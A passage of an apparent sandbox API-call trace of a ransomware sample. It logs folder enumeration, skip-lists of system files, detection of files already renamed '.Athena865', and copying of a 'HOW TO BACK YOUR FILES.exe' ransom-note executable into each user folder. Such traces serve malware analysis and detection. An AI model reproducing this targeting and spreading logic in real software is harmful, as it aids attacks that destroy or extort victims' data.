FILES.exe" [0101.957] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.958] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.958] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.958] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126a80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Athena865", cAlternateFileName="ICONCA~1.ATH")) returned 1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2=".") returned 1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="..") returned 1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="windows") returned -1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="bootmgr") returned 1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="temp") returned -1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="pagefile.sys") returned -1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="boot") returned 1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="ids.txt") returned -1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="ntuser.dat") returned -1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="perflogs") returned -1 [0101.958] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="MSBuild") returned -1 [0101.959] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0101.959] lstrcpyW (in: lpString1=0x241e8e6, lpString2="IconCache.db.Athena865" | out: lpString1="IconCache.db.Athena865") returned="IconCache.db.Athena865" [0101.959] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0101.959] lstrlenW (lpString="Athena865") returned 9 [0101.959] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.959] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0101.959] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0101.959] lstrlenW (lpString="Microsoft") returned 9 [0101.959] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0101.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541f10 [0101.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb2) returned 0x51ca08 [0101.959] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0101.959] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0101.959] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.960] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc628b580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc628b580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1 [0101.960] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1 [0101.960] lstrlenW (lpString="Microsoft Help") returned 14 [0101.960] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0101.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541f28 [0101.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xbc) returned 0x528188 [0101.960] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0101.960] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0101.961] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.961] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0101.961] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0101.962] lstrlenW (lpString="Mozilla") returned 7 [0101.962] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0101.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541f40 [0101.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xae) returned 0x542790 [0101.962] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0101.962] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0101.962] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.962] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb7362bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb7362bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0101.962] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.962] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.962] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1 [0101.962] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1 [0101.962] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1 [0101.963] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1 [0101.963] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0 [0101.963] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1 [0101.963] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1 [0101.963] lstrlenW (lpString="Temporary Internet Files") returned 24 [0101.963] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0101.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541f58 [0101.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd0) returned 0x5265a8 [0101.963] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0101.963] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0101.963] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.964] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2=".") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="..") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="windows") returned -1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="bootmgr") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="temp") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="pagefile.sys") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="boot") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="ids.txt") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="ntuser.dat") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="perflogs") returned 1 [0101.964] lstrcmpiW (lpString1="VirtualStore", lpString2="MSBuild") returned 1 [0101.964] lstrlenW (lpString="VirtualStore") returned 12 [0101.964] lstrcpyW (in: lpString1=0x241e8e6, lpString2="VirtualStore" | out: lpString1="VirtualStore") returned="VirtualStore" [0101.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541f70 [0101.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb8) returned 0x51cac8 [0101.964] lstrcatW (in: lpString1="VirtualStore", lpString2="\\" | out: lpString1="VirtualStore\\") returned="VirtualStore\\" [0101.965] lstrcatW (in: lpString1="VirtualStore\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VirtualStore\\HOW TO BACK YOUR FILES.exe") returned="VirtualStore\\HOW TO BACK YOUR FILES.exe" [0101.965] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\VirtualStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\virtualstore\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.965] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc62b16e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62b16e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0101.965] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.965] ReleaseMutex (hMutex=0xec) returned 1 [0101.965] CloseHandle (hObject=0xec) returned 1 [0101.965] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps" [0101.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0101.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b720 | out: hHeap=0x4f0000) returned 1 [0101.965] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps") returned 66 [0101.965] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FEBCE032A5FAC337251E3016A1B7A654") returned 0xec [0101.965] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.966] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps" [0101.966] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.966] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\apps\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.966] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\apps\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.966] GetLastError () returned 0x0 [0101.966] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.966] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.967] CloseHandle (hObject=0xf4) returned 1 [0101.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.967] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.967] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.968] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.968] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.968] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.968] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.968] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.968] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.968] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.968] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.968] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2=".") returned 1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="..") returned 1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="windows") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="bootmgr") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="temp") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="pagefile.sys") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="boot") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="ids.txt") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="ntuser.dat") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="perflogs") returned -1 [0101.968] lstrcmpiW (lpString1="2.0", lpString2="MSBuild") returned -1 [0101.968] lstrlenW (lpString="2.0") returned 3 [0101.968] lstrcpyW (in: lpString1=0x241e8ce, lpString2="2.0" | out: lpString1="2.0") returned="2.0" [0101.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b720 [0101.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x533ac8 [0101.969] lstrcatW (in: lpString1="2.0", lpString2="\\" | out: lpString1="2.0\\") returned="2.0\\" [0101.969] lstrcatW (in: lpString1="2.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="2.0\\HOW TO BACK YOUR FILES.exe") returned="2.0\\HOW TO BACK YOUR FILES.exe" [0101.969] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps\\2.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\apps\\2.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.971] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61a6d40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.971] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.971] 